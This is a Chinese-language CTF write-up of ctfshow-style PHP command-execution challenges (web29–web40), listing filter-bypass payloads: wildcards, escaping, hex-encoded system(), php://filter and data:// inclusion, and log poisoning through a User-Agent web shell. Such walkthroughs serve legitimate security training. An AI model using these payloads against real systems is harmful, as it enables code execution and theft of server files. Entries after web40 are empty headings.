web

学点web

信息收集

wp

wp2

各种泄露

命令执行

y4的wp

一些基本提取文件的操作:cat、nl、tac、highlight_file()、vim、vi

匹配:*多个字符匹配,?单个字符匹配

转义符:^、""、''

执行函数echo()、system()、passthru() 、exec()、 shell_exec()、popen()、proc_open()、pcntl_exec()

web29

只过滤了flag

1
2
3
4
c=system("nl fla*");//匹配
c=echo `nl fl''ag.php`;//转义字符
c=include($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php
c=eval($_GET[1]);&1=system('nl flag.php');//因为只过滤c的flag,所以用1传参不会被过滤

web30

过滤了flag、system、php

1
c=echo exec('nl fla?????');

和上一问差不多

web31

过滤了很多,"/flag|system|php|cat|sort|shell|.| |'/i"(/i大小写不敏感)

1
2
3
4
c=eval($_GET[1]);&1=system('nl flag.php');//没过滤eval,用1传参
c=echo(`nl%09fl[abc]*`);//%09空格转义,[abc]匹配不包含abc的文字
c="\x73\x79\x73\x74\x65\x6d"("nl%09fl[a]*");//等价于system()
c=echo`strings\$IFS\$9f*`//\$IFS\$9 win下空格转义

查文件路径的语法:

首先print_r(scandir(dirname(__FILE__)));查看当前目录下文件

然后找到flag.php print_r(next(array_reverse(scandir(dirname(__FILE__))))); 之后高亮显示即可 c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));

c=show_source(next(array_reverse(scandir(pos(localeconv())))));和上面的差不多

web32

过滤的更多了:("/flag|system|php|cat|sort|shell|.| |'|`|echo|;|(/i"

1
2
3
c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64-encode/resource=flag.php//这个$nice=暂且不知道是干啥的,去掉也能执行
c=include$_GET[1]?>&1=data://text/plain,<?php system("cat flag.php");?> //伪协议,下一个也是
c=include$_GET[1]?>&1=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==

伪协议

web33

比32多过滤了个双引号,所以要把“url"改成1:"/flag|system|php|cat|sort|shell|.| |'|`|echo|;|(|"/i"

1
2
c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
c=include$_GET[1]?>&1=data://text/palin,<?php system("nl flag.php");?>

web34

多了个':':"/flag|system|php|cat|sort|shell|.| |'|`|echo|;|(|:|"/i"

1
2
c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
c=include$_GET[1]?>&1=data://text/palin,<?php system("nl flag.php");?>

web35

多了小于和等于:"/flag|system|php|cat|sort|shell|.| |'|`|echo|;|(|:|"|<|=/i"

1
2
c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
c=include$_GET[1]?>&1=data://text/palin,<?php system("nl flag.php");?>

web36

多了数字:"/flag|system|php|cat|sort|shell|.| |'|`|echo|;|(|:|"|<|=|/|[0-9]/i"

1
2
c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
c=include$_GET[a]?>&a=data://text/palin,<?php system("nl flag.php");?>

web37

变成了文件包含

image-20220718144945562

1
2
3
4
c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
c=data://text/palin,<?php system("nl fla*");?>
//还可以配合UA头执行日志包含
c=/var/log/nginx/access.log

UA头写马执行日志操作:

  1. 先用c=/var/log/nginx/access.log发现能看日志image-20220718161423024

  2. User-Agent头写马:

    image-20220718161940874

    User-Agent:

  3. 再看日志image-20220718162107763

  4. 然后就可以命令执行了:

    image-20220718162135410

  5. 1=system("nl flag.php");

    image-20220718162225485

web38

"/flag|php|file/i"

1
2
3
4
c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
c=data://text/palin,<?php system("nl fla*");?>
//还可以配合UA头执行日志包含
c=/var/log/nginx/access.log

和上一题差不多

web39

image-20220718165432040

c=data://text/plain,<?=phpinfo();?>测试后缀有无影响,发现无:

image-20220718170657074

.php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么作用。data协议后有个?>,已经闭合前面的php代码,所以后面的php拼接,不会影响php代码的执行

1
c=data://text/palin,<?php system("nl fla*");?>

web40

"/[0-9]|~|`|@|#|\$|%|^|&|*|(|)|-|=|+|{|[|]|}|:|'|"|,|<|.|>|/|?|\\/i"

web41

web42

web43

web44

web45

web46

web47

web48

web49